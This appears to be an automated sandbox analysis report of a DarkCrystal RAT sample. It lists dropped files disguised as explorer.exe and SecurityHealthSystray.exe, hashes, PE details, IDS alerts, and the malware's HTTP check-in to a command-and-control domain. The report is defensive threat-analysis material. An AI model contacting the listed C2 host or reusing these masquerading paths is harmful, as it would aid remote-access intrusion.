SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\znGWisJl.log

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Windows\Containers\4d1a182ec818fb

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	ASCII text, with very long lines (720), with no line terminators
Category:	dropped
Size (bytes):	720
Entropy (8bit):	5.903100333893316
Encrypted:	false
SSDEEP:	12:k4+IiiRJiYFzdHzY4JdecVtRZMdUPWw1ULs5ok5ZQrVL3UKeYO4:9Z1biYBdHndeetYUZx/irVL3UKFJ
MD5:	7F2D7206940E734A04028B6459FAAD39
SHA1:	0F29C165800EF0B7F639C9005BA6E7E1E0D31E4F
SHA-256:	AC65185A7DAD224647D43A4BFDACD615ECFA99357925C458162595D966FF2472
SHA-512:	A16E13BC4454A0F6BFDB14CFEA85EEA5EAF0D07BF93DBD141295B55422385EDF5F606AC90EEF4C321AA3409EB4F390922863EF0512A33619AC4F5DB2FB1F0412
Malicious:	false
Preview:	hA94MltrraPokPeRBZOVIt1msfF7q8Aq8lCeKu5Xx5NVpmJs798j2xkxIXMqfvBsZjq9NAHQe0hMfg7GVXAqAbxLAOWxiO2C4e5G6Ke71sECPYSmaFUHuVs8we89nUsQ7eSAk0KL2CySXu5m5tWc3uRjw7UbLfTh9yEvGRCj5JOrgalBjVD47PXMNsOmfsAXtRSipKgorxgugjCVWS2zcZjub1iXDZDNI18PICWZzYMKsmqnq2QM0K4TriHxlJkStTlokwNU6dADNYByL4qKJ1W77ohk4ixpy4bZBCC4p5PXK0GTgTmrdaI26nr5OmZYpUPS7lwI1weNl9xGiODl5FMXvicYUGpCg1r0lxV5gdzq55R70lXAjxckI1hYIYxvHbqtR6eu2IFcQfczRfhttodtZHstQ6wIpEjdPhp3GnHbs9TmZrHn0ECc87UKOud6V7wM68ktzonFhBAZyFUjzIRlBHfRNfpVJLFuNGqaHXxMa65665VIa4GNpLKzdTgU8R5V6PLrZ4ccVFKFLiURJg5PE2FB517y0dNIBjAqtosgco2kAFn48PKcWqQDKKvi6nl12CDlhnieyZwaAeB0NCzlSuwVT6gj3KjyCAr8BBWUqpo630DpI5U4yAiHQsSlH8ln08X9xDyMpf4mGzbc30a7zpACbkrTsvMsEAG4cD2FHIOTG5AbQ0rRioxK8ViNVfd4SLiGsh907V0r

C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	878080
Entropy (8bit):	5.418522174321887
Encrypted:	false
SSDEEP:	12288:JWTnfLcX02i56n+XomvfJJMA+ApW3Ari4VVyZC0+1cw2jINofMVbmsaxZ6:JWTnZ20XomvhJMA+A3iE0nHp6
MD5:	31C3F45B0054B2592DFBE98CC2B2AE6F
SHA1:	B3B09B956A490A2558FFD7A5BD75CAD36198AD85
SHA-256:	D0FD0BF712A82CFF8A13381300B480C0F792F94E846F729EA787FA901FFE1805
SHA-512:	737FACE1E81289120AECB19E64073C6C8BB4BD4EFCBE4277A6A567E504267C9F82783973B55E08B1C9007521DA7256C8494234EB5C57290ED71FBA01C6BB5656
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.................^...........\|... ........@.. ....................................@..................................{..O....... ............................................................................ ............... ..H............text....\... ...^.................. ..`.rsrc... ............`..............@..@.reloc...............d..............@..B.................{......H.......X...d.......v...................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\System32\CSC2E12D3EDCC724896BFC1D45EC76ED5FD.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	4.435108676655666
Encrypted:	false
SSDEEP:	24:OBxOysuZhN7jSjRzPNnqNdt4+lEbNFjMyi07:COulajfqTSfbNtme
MD5:	931E1E72E561761F8A74F57989D1EA0A
SHA1:	B66268B9D02EC855EB91A5018C43049B4458AB16
SHA-256:	093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
SHA-512:	1D05A9BB5FA990F83BE88361D0CAC286AC8B1A2A010DB2D3C5812FB507663F7C09AE4CADE772502011883A549F5B4E18B20ACF3FE5462901B40ABCC248C98770
Malicious:	false
Preview:	.... ...........................\|...<...............0...........\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...\.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <securi

C:\Windows\System32\SecurityHealthSystray.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.9687388388515576
Encrypted:	false
SSDEEP:	48:68pnPtPWM7Jt8Bs3FJsdcV4MKe27i2dvqBH6OulajfqXSfbNtm:TPBDPc+Vx9M7dvkkcjRzNt
MD5:	CAE81B9A62FD90AA9644E0B54423DB46
SHA1:	6D52100BC4DB34ED46A871B070595784D699FC8A
SHA-256:	232F4AF99D74E6708467F03DC4528DC48705C308D32F4FF6AD253F3BE563BACA
SHA-512:	E7EA2525F8E9D903CEB32C0790B430079D9217EA7A0B87C27C044B72C17699060C330BC70820559B1A3C37188C3312EA2A9AEE65254314EC1190E0D8F8B908AB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...e..g.............................'... ...@....@.. ....................................@.................................p'..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..H.............................................................(.....0..!.......r...pre..p.{....(....(....&..&......................0..........ri..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings....4.......#US.........#GUID...(... ...#Blob...........WU........%3................................................................

C:\Windows\Tasks\7a0fd90576e088

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	ASCII text, with very long lines (740), with no line terminators
Category:	dropped
Size (bytes):	740
Entropy (8bit):	5.897138654510421
Encrypted:	false
SSDEEP:	12:u6lEdHBrFCu+g2rUxqzkmIYrIryWUZhNLmVTxzVRDRdzlQ0HCumkDeX:u6lMdgulxqzkAh9S9zXDRnTDa
MD5:	502EE4A84602E8AFCE96CBEE388F26A6
SHA1:	0C5F30A6CD44D083F623F00AADA28E7107C19056
SHA-256:	4C88ABB72EAB208628A6493E7FE64A64562B0BAF878C55FC8DB1599F85EA7931
SHA-512:	BCA00B6845CA778CD1FDE0EA140FD4CDFD6A8644A85F1C5E789B9C689640C3C23DFB4C1C4024919E955EAA55BF2E64C2CDCC136D7D07FCB8F8C0A6F537F1D07D
Malicious:	false
Preview:	01TMxGtRZCnEcl0WBI4wk2USmODHqBIpiSCMl7mGMprcCoJCdn2O96J7gBjjCmkY37gKjnvDgyj5L2Q7FBnCI4qlJEpkYDDkESiEI8d02ysLXNwovleB8iQ9R5Be7Kpcv802TMzGhxJTMeO5SBzwjBlgCiwN782sJPaYX3ViwXdLY6xwqFM6V33tXT0uZmIj5bK6E0iYpQ9LhaIFv9g2v5XPVqBDClJJO4P6w1s0gyRE3rL6Lv9aFQyAE4kXzfVEH06nLMT3RqV7oSWofF1RmtD8FP11QUBBcM7Duhu9cFJZ40Vvi62tnEcXw8h5Ubn6oUebVT37U2zgknDO3FTTcRXYujRw9zoAbMvkV4aPD5ZuO5xI4TCOIUeX6GqvBG7eOyFX2d28pDPg1mJywI2qwZ2GsXnPNoN784ga0ZPaaDjEF7fT7293OQsy58pfznvA0Si6Ft8W3bQt0yBu1TSVoUtrMse1uulwSiNwZjNN3n9w987H74ngVZVgi0tXOHlJ0ebRkOVSFEcBU6sOvW30HEb2NrNiz08vB06fhqhsiUaR7TLmIfm2NvBvDiE2AxdPFq9dAMqFyLSxoJ43glaTOGiQyKc8lpru0LLRTrl5yhDCcOH3nKWZXKA8Htp0usdJdh6d8njyAeerCgxkDjUbTSXqKNJkCvLGD4i5Ro5AlhZ3pT5l5ExLYB0LJQSvd9vOSYnI72SZoU0v3eA1Rio78AsCEXwBWKglwKkQ

C:\Windows\Tasks\explorer.exe

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	878080
Entropy (8bit):	5.418522174321887
Encrypted:	false
SSDEEP:	12288:JWTnfLcX02i56n+XomvfJJMA+ApW3Ari4VVyZC0+1cw2jINofMVbmsaxZ6:JWTnZ20XomvhJMA+A3iE0nHp6
MD5:	31C3F45B0054B2592DFBE98CC2B2AE6F
SHA1:	B3B09B956A490A2558FFD7A5BD75CAD36198AD85
SHA-256:	D0FD0BF712A82CFF8A13381300B480C0F792F94E846F729EA787FA901FFE1805
SHA-512:	737FACE1E81289120AECB19E64073C6C8BB4BD4EFCBE4277A6A567E504267C9F82783973B55E08B1C9007521DA7256C8494234EB5C57290ED71FBA01C6BB5656
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Windows\Tasks\explorer.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.................^...........\|... ........@.. ....................................@..................................{..O....... ............................................................................ ............... ..H............text....\... ...^.................. ..`.rsrc... ............`..............@..@.reloc...............d..............@..B.................{......H.......X...d.......v...................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Windows\Tasks\explorer.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\01YP9Lwum8.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	502
Entropy (8bit):	4.613865166769504
Encrypted:	false
SSDEEP:	12:PJ5pTcgTcgTcgTcgTcgTcgTcgTcgTcgTLs4oS/AFSkIrxMVlmJHaVzvv:rdUOAokItULVDv
MD5:	B29E20FB139650556924373E12A38242
SHA1:	02E7FE0ED025E675CB7612583FE4C2B1ADB98045
SHA-256:	16C9F20409BBC0FA839FA78427280EA00317033E22353762DF1DD6B9F66B46F2
SHA-512:	D40449ACB37663F478CFFCDFB6E74C0797C210792A3EF23822D64D56A1BADF5AFAE52C5B6408D1770CAE4F31EC0BCD15A67F1648A202F65D5C0C9223EA3E9519
Malicious:	false
Preview:	..Pinging 910646 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.418522174321887
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	01YP9Lwum8.exe
File size:	878'080 bytes
MD5:	31c3f45b0054b2592dfbe98cc2b2ae6f
SHA1:	b3b09b956a490a2558ffd7a5bd75cad36198ad85
SHA256:	d0fd0bf712a82cff8a13381300b480c0f792f94e846f729ea787fa901ffe1805
SHA512:	737face1e81289120aecb19e64073c6c8bb4bd4efcbe4277a6a567e504267c9f82783973b55e08b1c9007521da7256c8494234eb5c57290ed71fba01c6bb5656
SSDEEP:	12288:JWTnfLcX02i56n+XomvfJJMA+ApW3Ari4VVyZC0+1cw2jINofMVbmsaxZ6:JWTnZ20XomvhJMA+A3iE0nHp6
TLSH:	2715E9282AEE153AF1B3AFB54BD47886C5AEF5B3770E954D08C103C68612740DE9673B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.................^...........\|... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4d7c0e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6713B5A3 [Sat Oct 19 13:35:31 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd7bbc	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd8000	0x320	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xda000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xd5c14	0xd5e00	5d3fb37b46e690ffdbe5c876b8d17f4c	False	0.4235290491671537	SysEx File -	5.424274016777317	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xd8000	0x320	0x400	d5e250a5164a84150836096af3bdda89	False	0.3525390625	data	2.651038093332615	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xda000	0xc	0x200	c9954c5db7fb7e97a4f445b2851a9b06	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xd8058	0x2c8	data			0.46207865168539325

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T06:07:38.480348+0200	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49736	188.114.97.3	80	TCP
2024-10-24T06:08:26.403112+0200	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49869	188.114.97.3	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 06:07:37.675225973 CEST	49736	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:07:37.680824041 CEST	80	49736	188.114.97.3	192.168.2.4
Oct 24, 2024 06:07:37.680895090 CEST	49736	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:07:37.681793928 CEST	49736	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:07:37.687237978 CEST	80	49736	188.114.97.3	192.168.2.4
Oct 24, 2024 06:07:38.054235935 CEST	49736	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:07:38.059927940 CEST	80	49736	188.114.97.3	192.168.2.4
Oct 24, 2024 06:07:38.276206970 CEST	80	49736	188.114.97.3	192.168.2.4
Oct 24, 2024 06:07:38.480348110 CEST	49736	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:07:38.566509962 CEST	80	49736	188.114.97.3	192.168.2.4
Oct 24, 2024 06:07:38.566595078 CEST	49736	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:08:17.334527016 CEST	80	49736	188.114.97.3	192.168.2.4
Oct 24, 2024 06:08:17.386769056 CEST	49736	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:08:17.932147026 CEST	49736	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:08:25.589020967 CEST	49869	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:08:25.594892025 CEST	80	49869	188.114.97.3	192.168.2.4
Oct 24, 2024 06:08:25.595194101 CEST	49869	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:08:25.595412970 CEST	49869	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:08:25.601057053 CEST	80	49869	188.114.97.3	192.168.2.4
Oct 24, 2024 06:08:25.955029964 CEST	49869	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:08:25.960549116 CEST	80	49869	188.114.97.3	192.168.2.4
Oct 24, 2024 06:08:26.191006899 CEST	80	49869	188.114.97.3	192.168.2.4
Oct 24, 2024 06:08:26.403038025 CEST	80	49869	188.114.97.3	192.168.2.4
Oct 24, 2024 06:08:26.403111935 CEST	49869	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:09:05.173964977 CEST	80	49869	188.114.97.3	192.168.2.4
Oct 24, 2024 06:09:05.247222900 CEST	49869	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:09:10.845365047 CEST	50004	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:09:10.851025105 CEST	80	50004	188.114.97.3	192.168.2.4
Oct 24, 2024 06:09:10.851113081 CEST	50004	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:09:10.851279974 CEST	50004	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:09:10.856642008 CEST	80	50004	188.114.97.3	192.168.2.4
Oct 24, 2024 06:09:11.199549913 CEST	50004	80	192.168.2.4	188.114.97.3
Oct 24, 2024 06:09:11.205219984 CEST	80	50004	188.114.97.3	192.168.2.4
Oct 24, 2024 06:09:11.446815968 CEST	80	50004	188.114.97.3	192.168.2.4
Oct 24, 2024 06:09:11.496098042 CEST	50004	80	192.168.2.4	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 06:07:37.645395994 CEST	50328	53	192.168.2.4	1.1.1.1
Oct 24, 2024 06:07:37.659300089 CEST	53	50328	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 06:07:37.645395994 CEST	192.168.2.4	1.1.1.1	0x5753	Standard query (0)	77777cm.nyashtyan.in	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 06:07:37.659300089 CEST	1.1.1.1	192.168.2.4	0x5753	No error (0)	77777cm.nyashtyan.in		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 24, 2024 06:07:37.659300089 CEST	1.1.1.1	192.168.2.4	0x5753	No error (0)	77777cm.nyashtyan.in		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

77777cm.nyashtyan.in

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	188.114.97.3	80	8588	C:\Windows\Tasks\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 06:07:37.681793928 CEST	359	OUT	POST /externalpipejsprocessAuthapiDbtrackWordpressCdn.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 77777cm.nyashtyan.in Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Oct 24, 2024 06:07:38.054235935 CEST	344	OUT	Data Raw: 05 06 04 0d 03 0f 01 06 05 06 02 01 02 01 01 00 00 0a 05 0f 02 00 03 0d 07 00 0d 0c 03 04 03 54 0c 0f 03 08 00 54 06 02 0b 00 02 04 00 07 07 51 06 56 0c 0c 0f 0f 05 04 07 06 05 05 07 02 00 0b 02 54 0d 5b 05 54 04 09 0e 0e 0e 0e 0e 05 0d 00 04 02 Data Ascii: TTQVT[TQ\L}PhczMtrmbu{P\|yc\|]pxUp[xce_mUSvwp}O~V@xC\~re
Oct 24, 2024 06:07:38.276206970 CEST	25	IN	HTTP/1.1 100 Continue
Oct 24, 2024 06:07:38.566509962 CEST	25	IN	HTTP/1.1 100 Continue
